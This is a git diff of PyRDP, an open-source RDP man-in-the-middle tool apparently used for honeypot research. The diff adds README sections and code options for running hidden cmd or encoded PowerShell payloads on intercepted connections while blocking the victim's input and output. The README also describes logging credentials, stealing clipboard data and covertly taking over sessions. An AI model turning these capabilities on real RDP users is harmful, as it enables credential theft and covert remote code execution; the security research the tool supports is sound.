diff --git a/.gitignore b/.gitignore index e2f97172a..c5c8c6130 100644 --- a/.gitignore +++ b/.gitignore @@ -19,3 +19,4 @@ pyrdp_output/ test.bin saved_files/ pyrdp_log/ +bin/_* \ No newline at end of file diff --git a/README.md b/README.md index dc98553b3..9a829372a 100644 --- a/README.md +++ b/README.md @@ -3,17 +3,20 @@ PyRDP is a Python 3 Remote Desktop Protocol (RDP) Man-in-the-Middle (MITM) and l It features a few tools: - RDP Man-in-the-Middle - - Logs credentials used to connect + - Logs credentials used when connecting - Steals data copied to the clipboard - Saves a copy of the files transferred over the network - Saves replays of connections so you can look at them later + - Run console commands or PowerShell payloads automatically on new connections - RDP Player: - See live RDP connections coming from the MITM - View replays of RDP connections + - Take control of active RDP sessions while hiding your actions + - List the client's mapped drives and download files from them during active sessions - RDP Certificate Cloner: - Create a self-signed X509 certificate with the same fields as an RDP server's certificate -We are using this tool as part of an RDP honeypot which records sessions and saves a copy of the malware dropped on our +We have used this tool as part of an RDP honeypot which records sessions and saves a copy of the malware dropped on our target machine. ## Table of Contents @@ -21,10 +24,14 @@ target machine. - [Installing](#installing) * [Installing with Docker](#installing-with-docker) * [Installing on Windows](#installing-on-windows) -- [Using the PyRDP MITM](#using-the-pyrdp-mitm) +- [Using the PyRDP Man-in-the-Middle](#using-the-pyrdp-man-in-the-middle) * [Specifying the private key and certificate](#specifying-the-private-key-and-certificate) * [Connecting to the PyRDP player](#connecting-to-the-pyrdp-player) + [Connecting to a PyRDP player when the MITM is running on a server](#connecting-to-a-pyrdp-player-when-the-mitm-is-running-on-a-server) + * [Running payloads on new connections](#running-payloads-on-new-connections) + + [Setting the payload](#setting-the-payload) + + [Choosing when to start the payload](#choosing-when-to-start-the-payload) + + [Choosing when to resume normal activity](#choosing-when-to-resume-normal-activity) * [Other MITM arguments](#other-mitm-arguments) - [Using the PyRDP Player](#using-the-pyrdp-player) * [Playing a replay file](#playing-a-replay-file) @@ -46,46 +53,104 @@ PyRDP should work on Python 3.6 and up. This tool has been tested to work on Python 3.6 on Linux (Ubuntu 18.04). It has not been tested on OSX and Windows. ## Installing -First, make sure to install the prerequisite packages + +We recommend installing PyRDP in a +[virtual environment](https://packaging.python.org/guides/installing-using-pip-and-virtual-environments/) +to avoid dependency issues. + +First, make sure to install the prerequisite packages (on Ubuntu): ``` sudo apt install libdbus-1-dev libdbus-glib-1-dev ``` -You can now install PyRDP by running the setup script with pip: +On some systems, you may need to install the `python3-venv` package: ``` -sudo pip3 install -U -e . +sudo apt install python3-venv +``` + +Then, create your virtual environment in PyRDP's directory: + +``` +cd pyrdp +python3 -m venv venv +``` + +*DO NOT* use the root PyRDP directory for the virtual environment folder (`python3 -m venv .`). You will make a mess, +and using a directory name like `venv` is more standard anyway. + +Before installing the dependencies, you need to activate your virtual environment: + +``` +source venv/bin/activate +``` + +Finally, you can install the project with Pip: + +``` +pip3 install -U pip setuptools wheel +pip3 install -U -e . ``` This should install all the dependencies required to run PyRDP. +If you ever want to leave your virtual environment, you can simply deactivate it: + +``` +deactivate +``` + +Note that you will have to activate your environment every time you want to have the PyRDP scripts available as shell +commands. + ### Installing with Docker -PyRDP can be installed in a container. First of all, create the image by executing this command at the root of pyRDP (where Dockerfile is located): +First of all, build the image by executing this command at the root of PyRDP (where Dockerfile is located): + ``` docker build -t pyrdp . ``` -Afterwards, you can execute the following command to run the container. + +Afterwards, you can execute the following command to run the container: + ``` -docker run pyrdp pyrdp-mitm.py 192.168.1.10 +docker run -it pyrdp pyrdp-mitm.py 192.168.1.10 ``` -For more information about the diffrent commands and arguments, please refer to these sections: [Using the PyRDP MITM](#using-the-pyrdp-mitm), [Using the PyRDP Player](#using-the-pyrdp-player), [Using the PyRDP Certificate Cloner](#using-the-pyrdp-certificate-cloner). -To store the output, be sure that your destination directory is owned by a user with a UID of 1000, otherwise you will get a permission denied error. If you're the only user on the system, you should not worry about this. Add the -v option to the previous command: +For more information about the various commands and arguments, please refer to these sections: + +- [Using the PyRDP MITM](#using-the-pyrdp-man-in-the-middle) +- [Using the PyRDP Player](#using-the-pyrdp-player) +- [Using the PyRDP Certificate Cloner](#using-the-pyrdp-certificate-cloner) + +To store the PyRDP output permanently (logs, files, etc.), add the -v option to the previous command. For example: + ``` -docker run -v /home/developer/pyrdp_output:/home/pyrdp/pyrdp_output pyrdp pyrdp-mitm.py 192.168.1.10 +docker run -v /home/myname/pyrdp_output:/home/pyrdp/pyrdp_output pyrdp pyrdp-mitm.py 192.168.1.10 ``` -Using the player will require you to export the DISPLAY environment variable from the host to the docker (this redirects the GUI of the player to the host screen), expose the host's network and stop Qt from using the MITM-SHM X11 Shared Memory Extension. To do so, add the -e and --net options to the run command: + +Make sure that your destination directory is owned by a user with a UID of 1000, otherwise you will get a permission denied error. +If you're the only user on the system, you should not need to worry about this. + +#### Using the player in Docker + +Using the player will require you to export the DISPLAY environment variable from the host to the docker. +This redirects the GUI of the player to the host screen. +You also need to expose the host's network and stop Qt from using the MIT-SHM X11 Shared Memory Extension. +To do so, add the -e and --net options to the run command: + ``` docker run -e DISPLAY=$DISPLAY -e QT_X11_NO_MITSHM=1 --net=host pyrdp pyrdp-player.py ``` -Keep in mind that exposing the host's network to the docker can compromise the isolation between your container and the host. If you plan on using the player, X11 forwarding using an SSH connection would be a more secure way. + +Keep in mind that exposing the host's network to the docker can compromise the isolation between your container and the host. +If you plan on using the player, X11 forwarding using an SSH connection would be a more secure way. ### Installing on Windows If you want to install PyRDP on Windows, note that `setup.py` will try to compile `ext/rle.c`, so you will need to have a C compiler installed. You will also need to generate a private key and certificate to run the MITM. -## Using the PyRDP MITM +## Using the PyRDP Man-in-the-Middle Use `pyrdp-mitm.py ` or `pyrdp-mitm.py :` to run the MITM. Assuming you have an RDP server running on `192.168.1.10` and listening on port 3389, you would run: @@ -118,13 +183,66 @@ pyrdp-mitm.py 192.168.1.10 -i 127.0.0.1 -d 3000 If you are running the MITM on a server and still want to see live RDP connections, you should use [SSH remote port forwarding](https://www.booleanworld.com/guide-ssh-port-forwarding-tunnelling/) to forward a port on your server to the player's port on your machine. Once this is done, you pass `127.0.0.1` and the forwarded -port as arguments to the MITM. For example, if port 4000 on the server is forwarded to port 3000 on your machine, this would -be the command to use: +port as arguments to the MITM. For example, if port 4000 on the server is forwarded to the player's port on your machine, +this would be the command to use: ``` pyrdp-mitm.py 192.168.1.10 -i 127.0.0.1 -d 4000 ``` +### Running payloads on new connections +PyRDP has support for running console commands or PowerShell payloads automatically when new connections are made. +Due to the nature of RDP, the process is a bit hackish and is not always 100% reliable. Here is how it works: + +1. Wait for the user to be authenticated. +2. Block the client's input / output to hide the payload and prevent interference. +3. Send a fake Windows+R sequence and run `cmd.exe`. +4. Run the payload as a console command and exit the console. If a PowerShell payload is configured, it is run with `powershell -enc `. +5. Wait a bit to allow the payload to complete. +6. Restore the client's input / output. + +For this to work, you need to set 3 arguments: + +- the payload +- the delay before the payload starts +- the payload's duration + +#### Setting the payload +You can use one of the following arguments to set the payload to run: + +- `--payload`, a string containing console commands +- `--payload-powershell`, a string containing PowerShell commands +- `--payload-powershell-file`, a path to a PowerShell script + +#### Choosing when to start the payload +For the moment, PyRDP does not detect when the user is logged on. +You must give it an amount of time to wait for before running the payload. +After this amount of time has passed, it will send the fake key sequences and expect the payload to run properly. +To do this, you use the `--payload-delay` argument. The delay is in milliseconds. +For example, if you expect the user to be logged in within the first 5 seconds, you would use the following arguments: + +``` +--payload-delay 5000 +``` + +This could be made more accurate by leveraging some messages exchanged during RDPDR initialization. +See [this issue](https://github.com/GoSecure/pyrdp/issues/98) if you're interested in making this work better. + +#### Choosing when to resume normal activity +Because there is no direct way to know when the console has stopped running, you must tell PyRDP how long you want +the client's input / output to be blocked. We recommend you set this to the maximum amount of time you would expect the +console that is running your payload to be visible. In other words, the amount of time you would expect your payload to +complete. +To set the payload duration, you use the `--payload-duration` argument with an amount of time in milliseconds. +For example, if you expect your payload to take up to 5 seconds to complete, you would use the following argument: + +``` +--payload-duration 5000 +``` + +This will block the client's input / output for 5 seconds to hide the console and prevent interference. +After 5 seconds, input / output is restored back to normal. + ### Other MITM arguments Run `pyrdp-mitm.py --help` for a full list of arguments. @@ -205,3 +323,4 @@ PyRDP uses code from the following open-source software: - [rdesktop](https://github.com/rdesktop/rdesktop) for bitmap decompression. - [rdpy](https://github.com/citronneur/rdpy) for RC4 keys, the bitmap decompression bindings and the base GUI code for the PyRDP player. +- [FreeRDP](https://github.com/FreeRDP/FreeRDP) for the scan code enumeration. diff --git a/bin/pyrdp-mitm.py b/bin/pyrdp-mitm.py index 67dd39633..4bf32c46d 100755 --- a/bin/pyrdp-mitm.py +++ b/bin/pyrdp-mitm.py @@ -7,6 +7,7 @@ # import asyncio +from base64 import b64encode import OpenSSL from twisted.internet import asyncioreactor @@ -158,6 +159,11 @@ def main(): parser.add_argument("-L", "--log-level", help="Console logging level. Logs saved to file are always verbose.", default="INFO", choices=["INFO", "DEBUG", "WARNING", "ERROR", "CRITICAL"]) parser.add_argument("-F", "--log-filter", help="Only show logs from this logger name (accepts '*' wildcards)", default="") parser.add_argument("-s", "--sensor-id", help="Sensor ID (to differentiate multiple instances of the MITM where logs are aggregated at one place)", default="PyRDP") + parser.add_argument("--payload", help="Command to run automatically upon connection", default=None) + parser.add_argument("--payload-powershell", help="PowerShell command to run automatically upon connection", default=None) + parser.add_argument("--payload-powershell-file", help="PowerShell script to run automatically upon connection (as -EncodedCommand)", default=None) + parser.add_argument("--payload-delay", help="Time to wait after a new connection before sending the payload, in milliseconds", default=None) + parser.add_argument("--payload-duration", help="Amount of time for which input / output should be dropped, in milliseconds. This can be used to hide the payload screen.", default=None) parser.add_argument("--no-replay", help="Disable replay recording", action="store_true") args = parser.parse_args() @@ -201,6 +207,78 @@ def main(): config.outDir = outDir config.recordReplays = not args.no_replay + + payload = None + powershell = None + + if int(args.payload is not None) + int(args.payload_powershell is not None) + int(args.payload_powershell_file is not None) > 1: + pyrdpLogger.error("Only one of --payload, --payload-powershell and --payload-powershell-file may be supplied.") + sys.exit(1) + + if args.payload is not None: + payload = args.payload + pyrdpLogger.info("Using payload: %(payload)s", {"payload": args.payload}) + elif args.payload_powershell is not None: + powershell = args.payload_powershell + pyrdpLogger.info("Using powershell payload: %(payload)s", {"payload": args.payload_powershell}) + elif args.payload_powershell_file is not None: + if not os.path.exists(args.payload_powershell_file): + pyrdpLogger.error("Powershell file %(path)s does not exist.", {"path": args.payload_powershell_file}) + sys.exit(1) + + try: + with open(args.payload_powershell_file, "r") as f: + powershell = f.read() + except IOError as e: + pyrdpLogger.error("Error when trying to read powershell file: %(error)s", {"error": e}) + sys.exit(1) + + pyrdpLogger.info("Using payload from powershell file: %(path)s", {"path": args.payload_powershell_file}) + + if powershell is not None: + payload = "powershell -EncodedCommand " + b64encode(powershell.encode("utf-16le")).decode() + + if payload is not None: + if args.payload_delay is None: + pyrdpLogger.error("--payload-delay must be provided if a payload is provided.") + sys.exit(1) + + if args.payload_duration is None: + pyrdpLogger.error("--payload-duration must be provided if a payload is provided.") + sys.exit(1) + + + try: + config.payloadDelay = int(args.payload_delay) + except ValueError: + pyrdpLogger.error("Invalid payload delay. Payload delay must be an integral number of milliseconds.") + sys.exit(1) + + if config.payloadDelay < 0: + pyrdpLogger.error("Payload delay must not be negative.") + sys.exit(1) + + if config.payloadDelay < 1000: + pyrdpLogger.warning("You have provided a payload delay of less than 1 second. We recommend you use a slightly longer delay to make sure it runs properly.") + + + try: + config.payloadDuration = int(args.payload_duration) + except ValueError: + pyrdpLogger.error("Invalid payload duration. Payload duration must be an integral number of milliseconds.") + sys.exit(1) + + if config.payloadDuration < 0: + pyrdpLogger.error("Payload duration must not be negative.") + sys.exit(1) + + + config.payload = payload + elif args.payload_delay is not None: + pyrdpLogger.error("--payload-delay was provided but no payload was set.") + sys.exit(1) + + try: # Check if OpenSSL accepts the private key and certificate. ServerTLSContext(config.privateKeyFileName, config.certificateFileName) diff --git a/pyrdp/__init__.py b/pyrdp/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/__init__.py +++ b/pyrdp/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/core/FileProxy.py b/pyrdp/core/FileProxy.py new file mode 100644 index 000000000..f82c4b5f8 --- /dev/null +++ b/pyrdp/core/FileProxy.py @@ -0,0 +1,67 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from pathlib import Path +from typing import BinaryIO + +from pyrdp.core.observer import Observer +from pyrdp.core.subject import ObservedBy, Subject + + +class FileProxyObserver(Observer): + """ + Observer class for receiving FileProxy events (file creation and file close). + """ + + def onFileCreated(self, fileProxy: 'FileProxy'): + pass + + def onFileClosed(self, fileProxy: 'FileProxy'): + pass + + +@ObservedBy(FileProxyObserver) +class FileProxy(Subject): + """ + Proxy object that waits until a file is accessed before creating it. + """ + + def __init__(self, path: Path, mode: str): + """ + :param path: path of the file + :param mode: file opening mode + """ + super().__init__() + + self.path = path + self.mode = mode + self.file: BinaryIO = None + + def createFile(self): + """ + Create the file and overwrite this object's methods with the file object's methods. + """ + + if self.file is None: + self.file = open(str(self.path), self.mode) + self.write = self.file.write + self.seek = self.file.seek + self.close = self.file.close + + self.observer.onFileCreated(self) + + def write(self, *args, **kwargs): + self.createFile() + self.file.write(*args, **kwargs) + + def seek(self, *args, **kwargs): + self.createFile() + self.file.seek(*args, **kwargs) + + def close(self): + if self.file is not None: + self.file.close() + self.observer.onFileClosed(self) \ No newline at end of file diff --git a/pyrdp/core/__init__.py b/pyrdp/core/__init__.py index bfe85d910..034809176 100644 --- a/pyrdp/core/__init__.py +++ b/pyrdp/core/__init__.py @@ -4,24 +4,15 @@ # Licensed under the GPLv3 or later. # +from pyrdp.core.defer import defer from pyrdp.core.event import EventEngine +from pyrdp.core.FileProxy import FileProxy, FileProxyObserver from pyrdp.core.helpers import decodeUTF16LE, encodeUTF16LE from pyrdp.core.observer import CompositeObserver, Observer from pyrdp.core.packing import Int16BE, Int16LE, Int32BE, Int32LE, Int8, Uint16BE, Uint16LE, Uint32BE, Uint32LE, \ Uint64LE, Uint8 +from pyrdp.core.sequencer import AsyncIOSequencer, Sequencer from pyrdp.core.stream import ByteStream, StrictStream from pyrdp.core.subject import ObservedBy, Subject from pyrdp.core.timer import Timer from pyrdp.core.twisted import AwaitableClientFactory - -import asyncio -import typing - -def defer(coroutine: typing.Union[typing.Coroutine, asyncio.Future]): - """ - Create a twisted Deferred from a coroutine or future and ensure it will run (call ensureDeferred on it). - :param coroutine: coroutine to defer. - """ - from twisted.internet.defer import ensureDeferred, Deferred - - ensureDeferred(Deferred.fromFuture(asyncio.ensure_future(coroutine))) \ No newline at end of file diff --git a/pyrdp/core/defer.py b/pyrdp/core/defer.py new file mode 100644 index 000000000..903fb9724 --- /dev/null +++ b/pyrdp/core/defer.py @@ -0,0 +1,17 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +import asyncio +import typing + +def defer(coroutine: typing.Union[typing.Coroutine, asyncio.Future]): + """ + Create a twisted Deferred from a coroutine or future and ensure it will run (call ensureDeferred on it). + :param coroutine: coroutine to defer. + """ + from twisted.internet.defer import ensureDeferred, Deferred + + ensureDeferred(Deferred.fromFuture(asyncio.ensure_future(coroutine))) \ No newline at end of file diff --git a/pyrdp/core/event.py b/pyrdp/core/event.py index 318060d6a..b40e2709e 100644 --- a/pyrdp/core/event.py +++ b/pyrdp/core/event.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import asyncio import operator from typing import Callable, Dict diff --git a/pyrdp/core/scancode.py b/pyrdp/core/scancode.py deleted file mode 100644 index 7f2929eab..000000000 --- a/pyrdp/core/scancode.py +++ /dev/null @@ -1,149 +0,0 @@ -# -# Copyright (c) 2014-2015 Sylvain Peyrefitte -# -# This file is part of rdpy. -# -# rdpy is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -# - -""" -Basic virtual scancode mapping -""" - -_SCANCODE_QWERTY_ = { - 0x00: "<00UNKNOWN>\n", - 0x01: "\n", - 0x02: "1", - 0x03: "2", - 0x04: "3", - 0x05: "4", - 0x06: "5", - 0x07: "6", - 0x08: "7", - 0x09: "8", - 0x0A: "9", - 0x0B: "0", - 0x0C: "-", - 0x0D: "+", - 0x0E: "\n", - 0x0F: "\n", - 0x10: "Q", - 0x11: "W", - 0x12: "E", - 0x13: "R", - 0x14: "T", - 0x15: "Y", - 0x16: "U", - 0x17: "I", - 0x18: "O", - 0x19: "P", - 0x1A: "4", - 0x1B: "6", - 0x1C: "\n", - 0x1D: "\n", - 0x1E: "A", - 0x1F: "S", - 0x20: "D", - 0x21: "F", - 0x22: "G", - 0x23: "H", - 0x24: "J", - 0x25: "K", - 0x26: "L", - 0x27: "1", - 0x28: "7", - 0x29: "3", - 0x2A: "\n", - 0x2B: "5", - 0x2C: "Z", - 0x2D: "X", - 0x2E: "C", - 0x2F: "V", - 0x30: "B", - 0x31: "N", - 0x32: "M", - 0x33: ",", - 0x34: ".", - 0x35: "2", - 0x36: "\n", - 0x37: "*", - 0x38: "\n", - 0x39: " ", - 0x3A: "\n", - 0x3B: "\n", - 0x3C: "\n", - 0x3D: "\n", - 0x3E: "\n", - 0x3F: "\n", - 0x40: "\n", - 0x41: "\n", - 0x42: "\n", - 0x43: "\n", - 0x44: "\n", - 0x45: "\n", - 0x46: "\n", - 0x47: "\n", - 0x48: "\n", - 0x49: "\n", - 0x4A: "-", - 0x4B: "\n", - 0x4C: "\n", - 0x4D: "\n", - 0x4E: "+", - 0x4F: "\n", - 0x50: "\n", - 0x51: "\n", - 0x52: "\n", - 0x53: ".", - 0x54: "\n", - 0x56: "\n", - 0x57: "\n", - 0x58: "\n", - 0x5b: "\n", - 0x5F: "\n", - 0x62: "\n", - 0x63: "\n", - 0x64: "\n", - 0x65: "\n", - 0x66: "\n", - 0x67: "\n", - 0x68: "\n", - 0x69: "\n", - 0x6A: "\n", - 0x6B: "\n", - 0x6C: "\n", - 0x6D: "\n", - 0x6E: "\n", - 0x6F: "\n", - 0x70: "\n", - 0x71: "\n", - 0x72: "\n", - 0x73: "\n", - 0x76: "\n", - 0x79: "\n", - 0x7B: "\n", - 0x7C: "\n", - 0x7D: "\n", - 0x7E: "\n", -} - - -def scancodeToChar(code): - """ - @summary: try to convert native code to char code - @return: char - """ - if code not in _SCANCODE_QWERTY_: - return ""%code - return _SCANCODE_QWERTY_[code] \ No newline at end of file diff --git a/pyrdp/core/sequencer.py b/pyrdp/core/sequencer.py new file mode 100644 index 000000000..44df6f2c4 --- /dev/null +++ b/pyrdp/core/sequencer.py @@ -0,0 +1,56 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +import asyncio +from abc import ABCMeta, abstractmethod +from typing import Callable, List, Optional + +from pyrdp.core.defer import defer + + +class Sequencer(metaclass = ABCMeta): + """ + Class used for spreading function calls across time. + """ + + def __init__(self, functions: List[Callable[[], Optional[int]]]): + """ + :param functions: list of functions to be called, each one optionally returning an amount of time to wait for. + """ + self.functions = functions + + def run(self): + """ + Run all remaining functions. + """ + + while len(self.functions) > 0: + wait = self.functions.pop(0)() + + if wait is not None and wait > 0: + self.wait(wait) + break + + @abstractmethod + def wait(self, waitTime: int): + """ + Call self.run after waitTime milliseconds. + :param waitTime: milliseconds to wait for. + """ + pass + + +class AsyncIOSequencer(Sequencer): + """ + Sequencer that uses asyncio.sleep to wait between calls. + """ + + def wait(self, waitTime: int): + async def waitFunction(): + await asyncio.sleep(waitTime / 1000.0) + self.run() + + defer(waitFunction()) \ No newline at end of file diff --git a/pyrdp/core/twisted.py b/pyrdp/core/twisted.py index e78449efb..ae95e0a1e 100644 --- a/pyrdp/core/twisted.py +++ b/pyrdp/core/twisted.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + import asyncio from typing import Callable, Union diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index 86a34ae09..1e7629842 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -8,12 +8,15 @@ from pyrdp.enum.gcc import GCCPDUType from pyrdp.enum.mcs import MCSChannelID, MCSChannelName, MCSPDUType, MCSResult from pyrdp.enum.negotiation import NegotiationRequestFlags, NegotiationType +from pyrdp.enum.player import MouseButton, PlayerPDUType from pyrdp.enum.rdp import * +from pyrdp.enum.scancode import ScanCode, ScanCodeTuple from pyrdp.enum.segmentation import SegmentationPDUType from pyrdp.enum.virtual_channel.clipboard import ClipboardFormatName, ClipboardFormatNumber, ClipboardMessageFlags, \ ClipboardMessageType from pyrdp.enum.virtual_channel.device_redirection import CreateOption, DeviceRedirectionComponent, \ - DeviceRedirectionPacketID, DeviceType, FileAccess, GeneralCapabilityVersion, IOOperationSeverity, MajorFunction, \ - MinorFunction, RDPDRCapabilityType + DeviceRedirectionPacketID, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \ + FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, GeneralCapabilityVersion, \ + IOOperationSeverity, MajorFunction, MinorFunction, RDPDRCapabilityType from pyrdp.enum.virtual_channel.virtual_channel import VirtualChannelPDUFlag from pyrdp.enum.x224 import X224PDUType diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py new file mode 100644 index 000000000..e01746bea --- /dev/null +++ b/pyrdp/enum/player.py @@ -0,0 +1,43 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from enum import IntEnum + + +class PlayerPDUType(IntEnum): + """ + Types of events that we can encounter when replaying a RDP connection. + """ + + FAST_PATH_INPUT = 1 # Ex: scan codes, mouse, etc. + FAST_PATH_OUTPUT = 2 # Ex: image + CLIENT_INFO = 3 # Creds on connection + SLOW_PATH_PDU = 4 # For slow-path PDUs + CONNECTION_CLOSE = 5 # To advertise the end of the connection + CLIPBOARD_DATA = 6 # To collect clipboard data + CLIENT_DATA = 7 # Contains the clientName + MOUSE_MOVE = 8 # Mouse move event from the player + MOUSE_BUTTON = 9 # Mouse button event from the player + MOUSE_WHEEL = 10 # Mouse wheel event from the player + KEYBOARD = 11 # Keyboard event from the player + TEXT = 12 # Text event from the player + FORWARDING_STATE = 13 # Event from the player to change the state of I/O forwarding + BITMAP = 14 # Bitmap event from the player + DEVICE_MAPPING = 15 # Device mapping event notification + DIRECTORY_LISTING_REQUEST = 16 # Directory listing request from the player + DIRECTORY_LISTING_RESPONSE = 17 # Directory listing response to the player + FILE_DOWNLOAD_REQUEST = 18 # File download request from the player + FILE_DOWNLOAD_RESPONSE = 19 # File download response to the player + FILE_DOWNLOAD_COMPLETE = 20 # File download completion notification to the player + + +class MouseButton(IntEnum): + """ + Mouse button types + """ + LEFT_BUTTON = 1 + RIGHT_BUTTON = 2 + MIDDLE_BUTTON = 3 \ No newline at end of file diff --git a/pyrdp/enum/rdp.py b/pyrdp/enum/rdp.py index 8862520ea..7e09a4a58 100644 --- a/pyrdp/enum/rdp.py +++ b/pyrdp/enum/rdp.py @@ -751,20 +751,6 @@ class PointerEventType(IntEnum): TS_PTRMSGTYPE_POINTER = 0x0008 -class PlayerMessageType(IntEnum): - """ - Types of events that we can encounter when replaying a RDP connection. - """ - - FAST_PATH_INPUT = 1 # Ex: scancode, mouse - FAST_PATH_OUTPUT = 2 # Ex: image - CLIENT_INFO = 3 # Creds on connection - SLOW_PATH_PDU = 4 # For slow-path PDUs - CONNECTION_CLOSE = 5 # To advertise the end of the connection - CLIPBOARD_DATA = 6 # To collect clipboard data - CLIENT_DATA = 7 # Contains the clientName - - class ChannelOption(IntFlag): """ https://msdn.microsoft.com/en-us/library/cc240513.aspx diff --git a/pyrdp/enum/scancode.py b/pyrdp/enum/scancode.py new file mode 100644 index 000000000..affa371a8 --- /dev/null +++ b/pyrdp/enum/scancode.py @@ -0,0 +1,184 @@ +# This file was adapted from scan code definitions in FreeRDP. +# https://github.com/FreeRDP/FreeRDP/blob/master/include/freerdp/scancode.h +# +# FreeRDP: A Remote Desktop Protocol Implementation +# RDP protocol "scancodes" +# +# Copyright 2009-2012 Marc-Andre Moreau +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from collections import namedtuple + +ScanCodeTuple = namedtuple("ScanCode", "code extended") + +class ScanCode: + """ + Enumeration for RDP scan codes. Values are a tuple of (scanCode: int, isExtended: bool). + """ + + UNKNOWN = ScanCodeTuple(0x00, False) # Unknown key + ESCAPE = ScanCodeTuple(0x01, False) # VK_ESCAPE + KEY_1 = ScanCodeTuple(0x02, False) # VK_KEY_1 + KEY_2 = ScanCodeTuple(0x03, False) # VK_KEY_2 + KEY_3 = ScanCodeTuple(0x04, False) # VK_KEY_3 + KEY_4 = ScanCodeTuple(0x05, False) # VK_KEY_4 + KEY_5 = ScanCodeTuple(0x06, False) # VK_KEY_5 + KEY_6 = ScanCodeTuple(0x07, False) # VK_KEY_6 + KEY_7 = ScanCodeTuple(0x08, False) # VK_KEY_7 + KEY_8 = ScanCodeTuple(0x09, False) # VK_KEY_8 + KEY_9 = ScanCodeTuple(0x0A, False) # VK_KEY_9 + KEY_0 = ScanCodeTuple(0x0B, False) # VK_KEY_0 + OEM_MINUS = ScanCodeTuple(0x0C, False) # VK_OEM_MINUS + OEM_PLUS = ScanCodeTuple(0x0D, False) # VK_OEM_PLUS + BACKSPACE = ScanCodeTuple(0x0E, False) # VK_BACK Backspace + TAB = ScanCodeTuple(0x0F, False) # VK_TAB + KEY_Q = ScanCodeTuple(0x10, False) # VK_KEY_Q + KEY_W = ScanCodeTuple(0x11, False) # VK_KEY_W + KEY_E = ScanCodeTuple(0x12, False) # VK_KEY_E + KEY_R = ScanCodeTuple(0x13, False) # VK_KEY_R + KEY_T = ScanCodeTuple(0x14, False) # VK_KEY_T + KEY_Y = ScanCodeTuple(0x15, False) # VK_KEY_Y + KEY_U = ScanCodeTuple(0x16, False) # VK_KEY_U + KEY_I = ScanCodeTuple(0x17, False) # VK_KEY_I + KEY_O = ScanCodeTuple(0x18, False) # VK_KEY_O + KEY_P = ScanCodeTuple(0x19, False) # VK_KEY_P + OEM_4 = ScanCodeTuple(0x1A, False) # VK_OEM_4 '[' on US + OEM_6 = ScanCodeTuple(0x1B, False) # VK_OEM_6 ']' on US + RETURN = ScanCodeTuple(0x1C, False) # VK_RETURN Normal Enter + LCONTROL = ScanCodeTuple(0x1D, False) # VK_LCONTROL + KEY_A = ScanCodeTuple(0x1E, False) # VK_KEY_A + KEY_S = ScanCodeTuple(0x1F, False) # VK_KEY_S + KEY_D = ScanCodeTuple(0x20, False) # VK_KEY_D + KEY_F = ScanCodeTuple(0x21, False) # VK_KEY_F + KEY_G = ScanCodeTuple(0x22, False) # VK_KEY_G + KEY_H = ScanCodeTuple(0x23, False) # VK_KEY_H + KEY_J = ScanCodeTuple(0x24, False) # VK_KEY_J + KEY_K = ScanCodeTuple(0x25, False) # VK_KEY_K + KEY_L = ScanCodeTuple(0x26, False) # VK_KEY_L + OEM_1 = ScanCodeTuple(0x27, False) # VK_OEM_1 ';' on US + OEM_7 = ScanCodeTuple(0x28, False) # VK_OEM_7 "'" on US + OEM_3 = ScanCodeTuple(0x29, False) # VK_OEM_3 Top left, '`' on US, JP DBE_SBCSCHAR + LSHIFT = ScanCodeTuple(0x2A, False) # VK_LSHIFT + OEM_5 = ScanCodeTuple(0x2B, False) # VK_OEM_5 Next to Enter, '\' on US + KEY_Z = ScanCodeTuple(0x2C, False) # VK_KEY_Z + KEY_X = ScanCodeTuple(0x2D, False) # VK_KEY_X + KEY_C = ScanCodeTuple(0x2E, False) # VK_KEY_C + KEY_V = ScanCodeTuple(0x2F, False) # VK_KEY_V + KEY_B = ScanCodeTuple(0x30, False) # VK_KEY_B + KEY_N = ScanCodeTuple(0x31, False) # VK_KEY_N + KEY_M = ScanCodeTuple(0x32, False) # VK_KEY_M + OEM_COMMA = ScanCodeTuple(0x33, False) # VK_OEM_COMMA + OEM_PERIOD = ScanCodeTuple(0x34, False) # VK_OEM_PERIOD + OEM_2 = ScanCodeTuple(0x35, False) # VK_OEM_2 '/' on US + RSHIFT = ScanCodeTuple(0x36, False) # VK_RSHIFT + MULTIPLY = ScanCodeTuple(0x37, False) # VK_MULTIPLY Numerical + LMENU = ScanCodeTuple(0x38, False) # VK_LMENU Left 'Alt' key + SPACE = ScanCodeTuple(0x39, False) # VK_SPACE + CAPSLOCK = ScanCodeTuple(0x3A, False) # VK_CAPITAL 'Caps Lock', JP DBE_ALPHANUMERIC + F1 = ScanCodeTuple(0x3B, False) # VK_F1 + F2 = 